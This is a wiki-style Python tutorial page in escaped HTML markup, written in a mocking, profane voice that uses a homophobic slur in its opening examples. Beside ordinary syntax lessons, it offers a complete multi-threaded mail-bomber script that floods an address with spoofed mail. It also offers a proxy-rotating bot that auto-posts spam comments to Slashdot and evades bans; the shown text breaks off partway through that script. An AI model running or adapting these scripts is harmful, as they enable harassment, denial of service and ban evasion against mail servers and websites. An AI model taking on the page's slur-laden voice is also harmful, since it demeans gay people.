&amp;#039;&amp;#039;Basic&amp;#039;&amp;#039; python syntax&lt;br /&gt;
&lt;br /&gt;
====Python Version Difference====&lt;br /&gt;
Python 2.7.5&lt;br /&gt;
 &amp;gt;&amp;gt;&amp;gt; print &amp;quot;HELLO FAGGOTS!&amp;quot;&lt;br /&gt;
 HELLO FAGGOTS!&lt;br /&gt;
&lt;br /&gt;
Python 3.3.2&lt;br /&gt;
  &amp;gt;&amp;gt;&amp;gt; print &amp;quot;HELLO FAGGOTS!&amp;quot;&lt;br /&gt;
    File &amp;quot;&amp;lt;stdin&amp;gt;&amp;quot;, line 1&lt;br /&gt;
      print &amp;quot;HELLO FAGGOTS!&amp;quot;&lt;br /&gt;
                         ^&lt;br /&gt;
  SyntaxError: invalid syntax&lt;br /&gt;
&lt;br /&gt;
====Variables====&lt;br /&gt;
Variable names DO NOT need to begin with a special character, unlike PHP or Perl. Variable names CAN, however, be any combination, as long as the word isn&amp;#039;t reserved (Ex: and, or, print), of letters and numbers.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 &amp;gt;&amp;gt;&amp;gt; #Numbers&lt;br /&gt;
 &amp;gt;&amp;gt;&amp;gt; a = 1 #Declare A as 1&lt;br /&gt;
 &amp;gt;&amp;gt;&amp;gt; b = a+5 #b becomes 6, while a remains 1&lt;br /&gt;
 &amp;gt;&amp;gt;&amp;gt; a += 5 #a is overwritten, and becomes 6&lt;br /&gt;
 &amp;gt;&amp;gt;&amp;gt; c = b = a #c and b are overwritten and become 6&lt;br /&gt;
 &amp;gt;&amp;gt;&amp;gt; #Strings&lt;br /&gt;
 &amp;gt;&amp;gt;&amp;gt; a = &amp;quot;Fuck &amp;quot;&lt;br /&gt;
 &amp;gt;&amp;gt;&amp;gt; b = &amp;quot;You&amp;quot;&lt;br /&gt;
 &amp;gt;&amp;gt;&amp;gt; c = a+b #JOIN STRINGS&lt;br /&gt;
 &amp;gt;&amp;gt;&amp;gt; a = &amp;quot;Blue Yellow Green Red&amp;quot;.split(&amp;quot; &amp;quot;) #Split the string at every &amp;quot; &amp;quot;&lt;br /&gt;
 &amp;gt;&amp;gt;&amp;gt; a #Output &amp;#039;a&amp;#039; to the screen, same as print or print()&lt;br /&gt;
 [&amp;#039;Blue&amp;#039;, &amp;#039;Yellow&amp;#039;, &amp;#039;Green&amp;#039;, &amp;#039;Red&amp;#039;] #List object, another type of variable&lt;br /&gt;
 &amp;gt;&amp;gt;&amp;gt; &amp;#039;&amp;#039;.join(a) #Join all the list objects as one&lt;br /&gt;
 &amp;#039;BlueYellowGreenRed&amp;#039;&lt;br /&gt;
 &amp;gt;&amp;gt;&amp;gt; a = &amp;#039;Blue Green Yellow Red&amp;#039;[0:4] #This returns the sub-string &amp;#039;Blue&amp;#039;&lt;br /&gt;
 &amp;gt;&amp;gt;&amp;gt; a = &amp;#039;Blue Green Yellow Red&amp;#039;[5:] #This returns the sub-string &amp;#039;Green Yellow Red&amp;#039;&lt;br /&gt;
 &amp;gt;&amp;gt;&amp;gt; a = &amp;#039;Blue Green Yellow Red&amp;#039;[::2] #This returns the sub-string &amp;#039;Bu re elwRd&amp;#039;,&lt;br /&gt;
 &amp;gt;&amp;gt;&amp;gt; #Float &lt;br /&gt;
 &amp;gt;&amp;gt;&amp;gt; a = 88.2&lt;br /&gt;
 &amp;gt;&amp;gt;&amp;gt; b = 88&lt;br /&gt;
 &amp;gt;&amp;gt;&amp;gt; print (a/25)&lt;br /&gt;
 3.528&lt;br /&gt;
 &amp;gt;&amp;gt;&amp;gt; print (b/25)&lt;br /&gt;
 Python 2:&lt;br /&gt;
 3&lt;br /&gt;
 Python 3:&lt;br /&gt;
 3.52&lt;br /&gt;
 &amp;gt;&amp;gt;&amp;gt; #Other types&lt;br /&gt;
 &amp;gt;&amp;gt;&amp;gt; a = (&amp;quot; &amp;quot;, 355, 256.7, [&amp;quot;Hello&amp;quot;, &amp;quot;World&amp;quot;])&lt;br /&gt;
 &amp;gt;&amp;gt;&amp;gt; type(a)&lt;br /&gt;
 &amp;lt;type &amp;#039;tuple&amp;#039;&amp;gt;&lt;br /&gt;
 &amp;gt;&amp;gt;&amp;gt; a = {&amp;quot;Hello&amp;quot;:&amp;quot;World&amp;quot;, &amp;quot;Key&amp;quot;:&amp;quot;Value&amp;quot;}&lt;br /&gt;
 &amp;gt;&amp;gt;&amp;gt; type(a)&lt;br /&gt;
 &amp;lt;type &amp;#039;dict&amp;#039;&amp;gt;&lt;br /&gt;
 &amp;gt;&amp;gt;&amp;gt; a = &amp;quot;Anhero&amp;quot;&lt;br /&gt;
 &amp;gt;&amp;gt;&amp;gt; del a #Its a good idea, if you&amp;#039;re making a &amp;#039;hidden&amp;#039; script, to delete variables after you use them...&lt;br /&gt;
&lt;br /&gt;
===Statements===&lt;br /&gt;
&lt;br /&gt;
====Comparison====&lt;br /&gt;
 &amp;lt; Less than&lt;br /&gt;
 &amp;gt; Greater than&lt;br /&gt;
 == Equal to&lt;br /&gt;
 != Not equal&lt;br /&gt;
 === Identical&lt;br /&gt;
 !== Not identical&lt;br /&gt;
 &amp;lt;= Less than or equal to&lt;br /&gt;
 &amp;gt;= Greater than or equal to&lt;br /&gt;
&lt;br /&gt;
=====If=====&lt;br /&gt;
 &lt;br /&gt;
 &amp;gt;&amp;gt;&amp;gt; a = 1&lt;br /&gt;
 &amp;gt;&amp;gt;&amp;gt; b = 2&lt;br /&gt;
 &amp;gt;&amp;gt;&amp;gt; if a != b:&lt;br /&gt;
 	print (&amp;quot;No!&amp;quot;)&lt;br /&gt;
  &lt;br /&gt;
  	&lt;br /&gt;
 No!&lt;br /&gt;
 &amp;gt;&amp;gt;&amp;gt; a = 1&lt;br /&gt;
 &amp;gt;&amp;gt;&amp;gt; b = 1&lt;br /&gt;
 &amp;gt;&amp;gt;&amp;gt; if a == b:&lt;br /&gt;
 	print (&amp;quot;Yes!&amp;quot;)&lt;br /&gt;
 &lt;br /&gt;
 	&lt;br /&gt;
 Yes!&lt;br /&gt;
 &amp;gt;&amp;gt;&amp;gt; a = 1&lt;br /&gt;
 &amp;gt;&amp;gt;&amp;gt; b = 5&lt;br /&gt;
 &amp;gt;&amp;gt;&amp;gt; if (a == b-len(&amp;quot;....&amp;quot;)/1) and &amp;quot;a&amp;quot; == &amp;quot;a&amp;quot; or &amp;quot;b&amp;quot; == &amp;quot;b&amp;quot;:&lt;br /&gt;
 	print (&amp;quot;Yes!&amp;quot;)&lt;br /&gt;
 &lt;br /&gt;
  	&lt;br /&gt;
 Yes!&lt;br /&gt;
&lt;br /&gt;
====Loops====&lt;br /&gt;
&lt;br /&gt;
As Python is an interpreted language, loops are fucking slow, so avoid them as much as possible.&lt;br /&gt;
Replace them by Numpy functions or, if not appropriate, use the [https://docs.python.org/2/library/functions.html#map map function] or list comprehensions.&lt;br /&gt;
 &lt;br /&gt;
=====While=====&lt;br /&gt;
 &amp;gt;&amp;gt;&amp;gt; a = 1&lt;br /&gt;
 &amp;gt;&amp;gt;&amp;gt; while a &amp;lt; 5: #Note, replacing &amp;#039;&amp;lt;&amp;#039; with &amp;#039;&amp;lt;=&amp;#039; allows it to reach 5, instead of stopping at 4&lt;br /&gt;
 	print (a)&lt;br /&gt;
 	a += 1&lt;br /&gt;
 &lt;br /&gt;
 1&lt;br /&gt;
 2&lt;br /&gt;
 3&lt;br /&gt;
 4&lt;br /&gt;
 &amp;gt;&amp;gt;&amp;gt; a = False&lt;br /&gt;
 &amp;gt;&amp;gt;&amp;gt; while a == False:&lt;br /&gt;
 	print (&amp;quot;False&amp;quot;)&lt;br /&gt;
 	a = True&lt;br /&gt;
 &lt;br /&gt;
 	&lt;br /&gt;
 False&lt;br /&gt;
=====For=====&lt;br /&gt;
 &amp;gt;&amp;gt;&amp;gt; for x in range(0, 10):&lt;br /&gt;
 	print (x)&lt;br /&gt;
 &lt;br /&gt;
 	&lt;br /&gt;
 0&lt;br /&gt;
 1&lt;br /&gt;
 2&lt;br /&gt;
 3&lt;br /&gt;
 4&lt;br /&gt;
 5&lt;br /&gt;
 6&lt;br /&gt;
 7&lt;br /&gt;
 8&lt;br /&gt;
 9&lt;br /&gt;
 &amp;gt;&amp;gt;&amp;gt; for x in [&amp;#039;Hello&amp;#039;, &amp;#039;world&amp;#039;, &amp;#039;this&amp;#039;, &amp;#039;is&amp;#039;, &amp;#039;a&amp;#039;, &amp;#039;list&amp;#039;]:&lt;br /&gt;
 	print (x)&lt;br /&gt;
 &lt;br /&gt;
 	&lt;br /&gt;
 Hello&lt;br /&gt;
 world&lt;br /&gt;
 this&lt;br /&gt;
 is&lt;br /&gt;
 a&lt;br /&gt;
 list&lt;br /&gt;
 &lt;br /&gt;
 #Reverse loop over an array&lt;br /&gt;
 &amp;gt;&amp;gt;&amp;gt; for x in [&amp;#039;Hello&amp;#039;, &amp;#039;world&amp;#039;, &amp;#039;this&amp;#039;, &amp;#039;is&amp;#039;, &amp;#039;a&amp;#039;, &amp;#039;list&amp;#039;][::-1]:&lt;br /&gt;
 	print (x)&lt;br /&gt;
 &lt;br /&gt;
 list&lt;br /&gt;
 a&lt;br /&gt;
 is&lt;br /&gt;
 this&lt;br /&gt;
 world&lt;br /&gt;
 Hello&lt;br /&gt;
&lt;br /&gt;
=====Map=====&lt;br /&gt;
 #adding a space after each word&lt;br /&gt;
 &lt;br /&gt;
 #defining a list&lt;br /&gt;
 &amp;gt;&amp;gt;&amp;gt; text= [&amp;#039;Hello&amp;#039;, &amp;#039;world&amp;#039;, &amp;#039;this&amp;#039;, &amp;#039;is&amp;#039;, &amp;#039;a&amp;#039;, &amp;#039;list&amp;#039;]&lt;br /&gt;
 &lt;br /&gt;
 &amp;gt;&amp;gt;&amp;gt; text= list(map(lambda x: x+&amp;#039; &amp;#039;, text))&lt;br /&gt;
 &lt;br /&gt;
 #lambda x: x+&amp;#039; &amp;#039; is the same thing as&lt;br /&gt;
 #def z(x):&lt;br /&gt;
 #    return x+&amp;#039; &amp;#039;&lt;br /&gt;
 # as map takes a function as first argument&lt;br /&gt;
 &lt;br /&gt;
 # list() is a type conversion only useful in python 3 as in python 2 map() already returns a list.&lt;br /&gt;
 &lt;br /&gt;
 &amp;gt;&amp;gt;&amp;gt; text&lt;br /&gt;
 &lt;br /&gt;
 [&amp;#039;Hello &amp;#039;, &amp;#039;world &amp;#039;, &amp;#039;this &amp;#039;, &amp;#039;is &amp;#039;, &amp;#039;a &amp;#039;, &amp;#039;list &amp;#039;]&lt;br /&gt;
&lt;br /&gt;
=====List comprehension=====&lt;br /&gt;
 #same with list comprehension (faster in this case)&lt;br /&gt;
 &lt;br /&gt;
 &amp;gt;&amp;gt;&amp;gt; text= [&amp;#039;Hello&amp;#039;, &amp;#039;world&amp;#039;, &amp;#039;this&amp;#039;, &amp;#039;is&amp;#039;, &amp;#039;a&amp;#039;, &amp;#039;list&amp;#039;]&lt;br /&gt;
 &lt;br /&gt;
 &amp;gt;&amp;gt;&amp;gt; text= [x+&amp;#039; &amp;#039; for x in text]&lt;br /&gt;
 &lt;br /&gt;
 &amp;gt;&amp;gt;&amp;gt; text&lt;br /&gt;
 &lt;br /&gt;
 [&amp;#039;Hello &amp;#039;, &amp;#039;world &amp;#039;, &amp;#039;this &amp;#039;, &amp;#039;is &amp;#039;, &amp;#039;a &amp;#039;, &amp;#039;list &amp;#039;]&lt;br /&gt;
&lt;br /&gt;
===Classes===&lt;br /&gt;
Since python is object oriented, you can define classes:&lt;br /&gt;
The Keyword for defining classes is &amp;quot;class,&amp;quot; and if you want to derive your class from another one, put it into brackets after the class name. The definition is closed by the notorious colon, followed by the notorious indented block.&lt;br /&gt;
Notable about Python is, that every datatype is a class, even the simple ones.&lt;br /&gt;
&lt;br /&gt;
====Self reference, Member access====&lt;br /&gt;
The self reference of a python class is, plain and simple &amp;quot;self.&amp;quot; Class members can be accessed with the class/object name followed by a dot and the member name:&lt;br /&gt;
 Myclass.myMember&lt;br /&gt;
&lt;br /&gt;
====Methods====&lt;br /&gt;
Methods are defined like functions, just with the difference that their first parameter is &amp;quot;self&amp;quot;&lt;br /&gt;
&lt;br /&gt;
=====Constructor/Destructor=====&lt;br /&gt;
&amp;#039;&amp;#039;&amp;#039;&amp;#039;&amp;#039;Constructors&amp;#039;&amp;#039;&amp;#039;&amp;#039;&amp;#039; in python classes are made by defining a method with the name &amp;#039;__init__&amp;#039; (Two underscores at the beginning and two underscores at the end)&lt;br /&gt;
&amp;#039;&amp;#039;&amp;#039;&amp;#039;&amp;#039;Destructors&amp;#039;&amp;#039;&amp;#039;&amp;#039;&amp;#039; are alike, just &amp;#039;__del__&amp;#039; instead of &amp;#039;__init__&amp;#039;. Since Python has automatic memory management and a garbage collector, it cannot be assured that the destructor is called instantly at the classes&amp;#039; end of life. So don&amp;#039;t rely on code you put in a destructor too heavily, or even better try to avoid using one.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 class TheGame():&lt;br /&gt;
     def __init__(self):&lt;br /&gt;
         self.toPrint = &amp;#039;You just lost it!&amp;#039;&lt;br /&gt;
         print (self.toPrint)&lt;br /&gt;
     def printLulz(self):&lt;br /&gt;
         print (&amp;quot;LULZ&amp;quot;)&lt;br /&gt;
     def __del__(self):&lt;br /&gt;
         print (&amp;#039;If this method gets called, you won THE GAME!&amp;#039;)&lt;br /&gt;
&lt;br /&gt;
====Objects====&lt;br /&gt;
Creating an object of a Python class works as in most object oriented languages:&lt;br /&gt;
 myObject = TheGame()&lt;br /&gt;
&lt;br /&gt;
myObject is now an instance of TheGame() so myObject can be used to call any of TheGame()&amp;#039;s functions. Example: &lt;br /&gt;
&lt;br /&gt;
 myObject.printLulz()&lt;br /&gt;
&lt;br /&gt;
The above will print &amp;quot;LULZ&amp;quot; into the interpreter. &lt;br /&gt;
&lt;br /&gt;
====Inheritance====&lt;br /&gt;
Inheritance is just what it sounds like. It&amp;#039;s when a class inherits all the methods of a &amp;quot;father&amp;quot; class. &lt;br /&gt;
&lt;br /&gt;
 class Inherit(TheGame):&lt;br /&gt;
     def __init__(self):&lt;br /&gt;
         pass&lt;br /&gt;
 Inherit().printLulz()&lt;br /&gt;
&lt;br /&gt;
The above code will print out &amp;quot;LULZ&amp;quot; into the interpreter because it inherits the method printLulz() from the class TheGame().&lt;br /&gt;
&lt;br /&gt;
===Examples===&lt;br /&gt;
&lt;br /&gt;
====Multi-Threaded Mail Bomber====&lt;br /&gt;
&lt;br /&gt;
 #CREATED BY: DUMP &lt;br /&gt;
 #MULTI THREADING ALLOWS FOR A CLASS TO BE RUN MULTIPLE TIMES AT ONCE.&lt;br /&gt;
 #INCLUDES SMTP ENGINE, AND MAIL HEADER GEN. THAT FOLLOWS RFC STARDARDS&lt;br /&gt;
 import socket, datetime, time, threading&lt;br /&gt;
 class MailGen():&lt;br /&gt;
     def Engine(self, To, From, Subject, Data):&lt;br /&gt;
         self.lf = &amp;quot;\r\n&amp;quot;&lt;br /&gt;
         return &amp;quot;From: \&amp;quot;&amp;quot;+From.split(&amp;quot;@&amp;quot;)[0]+&amp;quot;\&amp;quot; &amp;lt;&amp;quot;+From+&amp;quot;&amp;gt;&amp;quot;+self.lf+&amp;quot;Return-Path: &amp;quot;+From+self.lf+&amp;quot;Sender: &amp;quot;+From+self.lf+&amp;quot;Recieved: &amp;quot;+From.split(&amp;quot;@&amp;quot;) [1].capitalize()+&amp;quot;:25&amp;quot;+self.lf+&amp;quot;To: \&amp;quot;&amp;quot;+To.split(&amp;quot;@&amp;quot;)[0]+&amp;quot;\&amp;quot; &amp;lt;&amp;quot;+To+&amp;quot;&amp;gt;&amp;quot;+self.lf+&amp;quot;Subject: &amp;quot;+Subject+self.lf+&amp;quot;Date:  &amp;quot;+datetime.datetime.now().strftime(&amp;quot;%a, %d %d %Y %H:%S&amp;quot;)+self.lf+self.lf+Data&lt;br /&gt;
 class MailBomb(threading.Thread):&lt;br /&gt;
     def __init__(self, To, From, Data):&lt;br /&gt;
         self.To = To&lt;br /&gt;
         self.From = From&lt;br /&gt;
         self.Data = Data&lt;br /&gt;
         threading.Thread.__init__ ( self )&lt;br /&gt;
     def run(self):&lt;br /&gt;
         print (&amp;quot;THREAD LAUNCHED&amp;quot;)&lt;br /&gt;
         self.lf = &amp;quot;\r\n&amp;quot;&lt;br /&gt;
         self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)&lt;br /&gt;
         self.connection.connect((self.To[self.To.index(&amp;quot;@&amp;quot;)+1:len(self.To)], 25))&lt;br /&gt;
         self.connection.send(&amp;quot;HELO&amp;quot;+self.lf); self.connection.recv(1024)&lt;br /&gt;
         self.connection.send(&amp;quot;MAIL FROM: &amp;quot;+self.From+self.lf); self.connection.recv(1024)&lt;br /&gt;
         self.connection.send(&amp;quot;RCPT TO: &amp;quot;+self.To+self.lf); self.connection.recv(1024)&lt;br /&gt;
         self.connection.send(&amp;quot;DATA&amp;quot;+self.lf); self.connection.recv(1024)&lt;br /&gt;
         for line in self.Data: self.connection.send(line)&lt;br /&gt;
         self.connection.send(self.lf+self.lf+&amp;quot;.&amp;quot;+self.lf); self.connection.recv(1024)&lt;br /&gt;
         self.connection.send(&amp;quot;QUIT&amp;quot;+self.lf); self.connection.close()&lt;br /&gt;
 address1 = raw_input(&amp;quot;To E-mail: &amp;quot;)&lt;br /&gt;
 address2 = raw_input(&amp;quot;From E-mail: &amp;quot;)&lt;br /&gt;
 data1 = raw_input(&amp;quot;Subject: &amp;quot;)&lt;br /&gt;
 data2 = raw_input(&amp;quot;Data: &amp;quot;)&lt;br /&gt;
 generator = MailGen()&lt;br /&gt;
 message = generator.Engine(address1, address2, data1, data2)&lt;br /&gt;
 multiply = int(raw_input(&amp;quot;Amount Sent (0, 5, 10...): &amp;quot;))&lt;br /&gt;
 lists = [address1]*multiply&lt;br /&gt;
 for a in range(0, multiply, 5):&lt;br /&gt;
     for b in range(a, a+5):&lt;br /&gt;
         MailBomb(lists[b], address2, message).start()&lt;br /&gt;
     time.sleep(.50)&lt;br /&gt;
&lt;br /&gt;
===Modules===&lt;br /&gt;
&lt;br /&gt;
====NumPy====&lt;br /&gt;
Numpy implements the basic feature used for computations: a typed array and typical associated operations.&lt;br /&gt;
Every serious computation package will use it as it is absolutely needed to get a decent speed without coding critical parts of your program in [[C]].&lt;br /&gt;
&lt;br /&gt;
====SciPy====&lt;br /&gt;
For more complicated operations on NumPy arrays.&lt;br /&gt;
&lt;br /&gt;
====Scapy====&lt;br /&gt;
Scapy is a powerful, low-level, networking tool&lt;br /&gt;
&lt;br /&gt;
====DPKT====&lt;br /&gt;
Fast, simple packet creation / parsing, with definitions for the basic TCP/IP protocols.&lt;br /&gt;
&lt;br /&gt;
==Fun With Python==&lt;br /&gt;
&lt;br /&gt;
Below: A Python script that chafes the ever-living shit out of [[Slashdot]].&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
import getopt&lt;br /&gt;
from os import getpid&lt;br /&gt;
from random import choice, randrange&lt;br /&gt;
import re&lt;br /&gt;
from string import letters&lt;br /&gt;
from sys import argv, exit&lt;br /&gt;
import threading&lt;br /&gt;
from time import sleep&lt;br /&gt;
import urllib&lt;br /&gt;
&lt;br /&gt;
numthrds = 5&lt;br /&gt;
&lt;br /&gt;
##############################################################################&lt;br /&gt;
#   FUNCTION DEFINITIONS                                                     #&lt;br /&gt;
##############################################################################&lt;br /&gt;
&lt;br /&gt;
def errmsg(msg):&lt;br /&gt;
	from sys import stderr&lt;br /&gt;
	print &amp;gt;&amp;gt; stderr, str(getpid()) + &amp;#039;: &amp;#039; + msg&lt;br /&gt;
&lt;br /&gt;
def getformkey(str):&lt;br /&gt;
	r = re.search(&amp;#039;&amp;lt;INPUT.*NAME=&amp;quot;formkey&amp;quot; VALUE=&amp;quot;[0-9a-zA-Z]+&amp;quot;&amp;#039;, str)&lt;br /&gt;
	if r:&lt;br /&gt;
		return re.search(&amp;#039;[0-9a-zA-Z]{10}&amp;#039;, r.group(0)).group(0)&lt;br /&gt;
	else:&lt;br /&gt;
		return &amp;#039;&amp;#039;&lt;br /&gt;
&lt;br /&gt;
def rndchars(x):&lt;br /&gt;
	str = &amp;quot;&amp;quot;&lt;br /&gt;
	for i in range(randrange(x, x + 2)):&lt;br /&gt;
		str += choice(letters).lower()&lt;br /&gt;
	return str&lt;br /&gt;
&lt;br /&gt;
def rndsubject():&lt;br /&gt;
	s = &amp;#039;&amp;#039;&lt;br /&gt;
	for i in range(4):&lt;br /&gt;
		s += rndchars(6)&lt;br /&gt;
	return s&lt;br /&gt;
&lt;br /&gt;
###################&lt;br /&gt;
# Do getopt stuff #&lt;br /&gt;
###################&lt;br /&gt;
msgfile = &amp;#039;msg.txt&amp;#039;&lt;br /&gt;
opt_d = 0&lt;br /&gt;
opt_l = 0&lt;br /&gt;
proxfile = &amp;#039;proxies.txt&amp;#039;&lt;br /&gt;
purl = &amp;#039;http://slashdot.org/comments.pl&amp;#039;&lt;br /&gt;
sid = &amp;#039;20721&amp;#039;&lt;br /&gt;
&lt;br /&gt;
try:&lt;br /&gt;
	opts, args = getopt.getopt(argv[1:], &amp;#039;df:hlp:s:u:&amp;#039;)&lt;br /&gt;
except getopt.GetoptError, msg:&lt;br /&gt;
	from sys import stderr&lt;br /&gt;
	print &amp;gt;&amp;gt; stderr, argv[0] + &amp;#039;: &amp;#039; + str(msg)&lt;br /&gt;
	exit(3)&lt;br /&gt;
&lt;br /&gt;
for c, optarg in opts:&lt;br /&gt;
	if c == &amp;#039;-d&amp;#039;:&lt;br /&gt;
		opt_d = 1&lt;br /&gt;
	if c == &amp;#039;-f&amp;#039;:&lt;br /&gt;
		msgfile = optarg&lt;br /&gt;
	if c == &amp;#039;-h&amp;#039;:&lt;br /&gt;
		print &amp;#039;pystorm: &amp;#039; + argv[0] + &amp;#039; [OPTION]...&amp;#039;&lt;br /&gt;
		print &amp;#039;Perform automated comment posting on a Slashcode blog.\n&amp;#039;&lt;br /&gt;
		print &amp;#039;  -d         remove nonworking proxies from internal list&amp;#039;&lt;br /&gt;
		print &amp;#039;  -f [FILE]  read HTML messages from [FILE]&amp;#039;&lt;br /&gt;
		print &amp;#039;  -h         display this usage help&amp;#039;&lt;br /&gt;
		print &amp;#039;  -l         just display list of HTTP proxies collected and exit&amp;#039;&lt;br /&gt;
		print &amp;#039;  -p [FILE]  read list of HTTP proxies from [FILE], one per line&amp;#039;&lt;br /&gt;
		print &amp;#039;  -s [NUM]   post to the story with ID [NUM]&amp;#039;&lt;br /&gt;
		print &amp;#039;  -u [URL]   use [URL] as the comment posting script&amp;#039;&lt;br /&gt;
	if c == &amp;#039;-l&amp;#039;:&lt;br /&gt;
		opt_l = 1&lt;br /&gt;
	if c == &amp;#039;-p&amp;#039;:&lt;br /&gt;
		proxfile = optarg&lt;br /&gt;
	if c == &amp;#039;-s&amp;#039;:&lt;br /&gt;
		sid = optarg&lt;br /&gt;
	if c == &amp;#039;-u&amp;#039;:&lt;br /&gt;
		purl = optarg&lt;br /&gt;
&lt;br /&gt;
if proxfile == &amp;#039;&amp;#039;:&lt;br /&gt;
	errmsg(&amp;#039;no proxy file given&amp;#039;)&lt;br /&gt;
	exit(10)&lt;br /&gt;
&lt;br /&gt;
##############################&lt;br /&gt;
# Read proxies into an array #&lt;br /&gt;
##############################&lt;br /&gt;
&lt;br /&gt;
proxies = []&lt;br /&gt;
num_proxies = 0&lt;br /&gt;
&lt;br /&gt;
try:&lt;br /&gt;
	f = open(proxfile, &amp;#039;r&amp;#039;)&lt;br /&gt;
except:&lt;br /&gt;
	errmsg(&amp;quot;an error occurred when trying to open &amp;quot; + proxfile)&lt;br /&gt;
	exit(5)&lt;br /&gt;
&lt;br /&gt;
for x in f.readlines():&lt;br /&gt;
	proxies.append(&amp;#039;http://&amp;#039; + x.strip())&lt;br /&gt;
	num_proxies += 1&lt;br /&gt;
&lt;br /&gt;
f.close()&lt;br /&gt;
if num_proxies == 1:&lt;br /&gt;
	errmsg(&amp;#039;read in 1 proxy&amp;#039;)&lt;br /&gt;
elif num_proxies &amp;gt; 0:&lt;br /&gt;
	errmsg(&amp;#039;read in &amp;#039; + str(num_proxies) + &amp;#039; proxies&amp;#039;)&lt;br /&gt;
else:&lt;br /&gt;
	errmsg(&amp;#039;couldn\&amp;#039;t read in proxies from &amp;#039; + proxfile)&lt;br /&gt;
	exit(7)&lt;br /&gt;
&lt;br /&gt;
if opt_l &amp;gt; 0:&lt;br /&gt;
	for n in proxies:&lt;br /&gt;
		print n&lt;br /&gt;
	exit(0)&lt;br /&gt;
&lt;br /&gt;
if purl == &amp;#039;&amp;#039;:&lt;br /&gt;
	errmsg(&amp;#039;no post URL given&amp;#039;)&lt;br /&gt;
	exit(11)&lt;br /&gt;
&lt;br /&gt;
if sid == &amp;#039;0&amp;#039;:&lt;br /&gt;
	errmsg(&amp;#039;no SID given&amp;#039;)&lt;br /&gt;
	exit(9)&lt;br /&gt;
&lt;br /&gt;
if msgfile == &amp;#039;&amp;#039;:&lt;br /&gt;
	errmsg(&amp;#039;no message file given&amp;#039;)&lt;br /&gt;
	exit(4)&lt;br /&gt;
&lt;br /&gt;
########################################&lt;br /&gt;
# Read messages/subjects into an array #&lt;br /&gt;
########################################&lt;br /&gt;
&lt;br /&gt;
msgs = []&lt;br /&gt;
subjects = []&lt;br /&gt;
num_msgs = 0&lt;br /&gt;
&lt;br /&gt;
try:&lt;br /&gt;
	f = open(msgfile, &amp;#039;r&amp;#039;)&lt;br /&gt;
except:&lt;br /&gt;
	errmsg(&amp;#039;an error occurred when trying to open &amp;#039; + msgfile)&lt;br /&gt;
	exit(2)&lt;br /&gt;
&lt;br /&gt;
i = 0&lt;br /&gt;
&lt;br /&gt;
msgs.append(&amp;#039;&amp;#039;)&lt;br /&gt;
for x in f.readlines():&lt;br /&gt;
	if x == &amp;quot;%\n&amp;quot;:&lt;br /&gt;
		i = 0&lt;br /&gt;
		msgs.append(&amp;#039;&amp;#039;)&lt;br /&gt;
		num_msgs += 1&lt;br /&gt;
	else:&lt;br /&gt;
		if i == 0:&lt;br /&gt;
			msgs[num_msgs] = &amp;#039;&amp;#039;&lt;br /&gt;
			subjects.append(x)&lt;br /&gt;
			i = 1&lt;br /&gt;
		else:&lt;br /&gt;
			msgs[num_msgs] += x&lt;br /&gt;
num_msgs += 1&lt;br /&gt;
&lt;br /&gt;
f.close()&lt;br /&gt;
if num_msgs == 1:&lt;br /&gt;
	errmsg(&amp;#039;read in 1 message&amp;#039;)&lt;br /&gt;
elif num_msgs &amp;gt; 0:&lt;br /&gt;
	errmsg(&amp;#039;read in &amp;#039; + str(num_msgs) + &amp;#039; messages&amp;#039;)&lt;br /&gt;
else:&lt;br /&gt;
	errmsg(&amp;#039;couldn\&amp;#039;t read in messages from &amp;#039; + msgfile)&lt;br /&gt;
	exit(6)&lt;br /&gt;
&lt;br /&gt;
class SpamThread(threading.Thread):&lt;br /&gt;
&lt;br /&gt;
	def run(self):&lt;br /&gt;
&lt;br /&gt;
		global opt_d&lt;br /&gt;
&lt;br /&gt;
		while 1:&lt;br /&gt;
&lt;br /&gt;
			self.proxy = choice(proxies)&lt;br /&gt;
			self.opendev = urllib.FancyURLopener({&amp;#039;http&amp;#039;: self.proxy})&lt;br /&gt;
			self.url = purl + &amp;#039;?sid=&amp;#039; + sid + &amp;#039;&amp;amp;op=Reply&amp;#039;&lt;br /&gt;
&lt;br /&gt;
			# choose a message&lt;br /&gt;
			self.i = randrange(0, num_msgs)&lt;br /&gt;
			try:&lt;br /&gt;
				self.subject = subjects[self.i].strip()&lt;br /&gt;
			except:&lt;br /&gt;
				self.subject = rndsubject()&lt;br /&gt;
			self.msg = msgs[self.i] + &amp;#039;\n&amp;#039; + rndchars(2)&lt;br /&gt;
&lt;br /&gt;
			# get rid of that &amp;quot;Re:&amp;quot; shit in the subject&lt;br /&gt;
			if self.subject[0:3] == &amp;#039;Re:&amp;#039;:&lt;br /&gt;
				self.subject = self.subject[3:]&lt;br /&gt;
&lt;br /&gt;
			# get initial post form&lt;br /&gt;
			try:&lt;br /&gt;
				#f = self.opendev.open(self.url, urllib.urlencode({}))&lt;br /&gt;
				f = self.opendev.open(self.url)&lt;br /&gt;
			except IOError:&lt;br /&gt;
				print self.proxy, &amp;quot;couldn&amp;#039;t open post form&amp;quot;&lt;br /&gt;
				continue&lt;br /&gt;
			try:&lt;br /&gt;
				str = f.read(50000)&lt;br /&gt;
			except:&lt;br /&gt;
				print self.proxy, &amp;quot;got no data&amp;quot;&lt;br /&gt;
				if opt_d != 0:&lt;br /&gt;
					try:&lt;br /&gt;
						proxies.remove(self.proxy)&lt;br /&gt;
					except ValueError:&lt;br /&gt;
						pass&lt;br /&gt;
				continue&lt;br /&gt;
&lt;br /&gt;
			if &amp;#039;&amp;lt;TITLE&amp;gt;BANNED!&amp;lt;/TITLE&amp;gt;&amp;#039; in str:&lt;br /&gt;
				print self.proxy, &amp;quot;is banned&amp;quot;&lt;br /&gt;
				if opt_d != 0:&lt;br /&gt;
					try:&lt;br /&gt;
						proxies.remove(self.proxy)&lt;br /&gt;
					except ValueError:&lt;br /&gt;
						pass&lt;br /&gt;
				continue&lt;br /&gt;
&lt;br /&gt;
			# get formkey&lt;br /&gt;
			formkey = getformkey(str)&lt;br /&gt;
			if formkey != &amp;#039;&amp;#039;:&lt;br /&gt;
				print self.proxy, &amp;quot;got 1st formkey &amp;quot; + formkey&lt;br /&gt;
			else:&lt;br /&gt;
				if &amp;#039;&amp;lt;FONT COLOR=&amp;quot;#000000&amp;quot;&amp;gt;i have a big cock&amp;#039; in str:&lt;br /&gt;
					errmsg(&amp;#039;This story has been archived&amp;#039;)&lt;br /&gt;
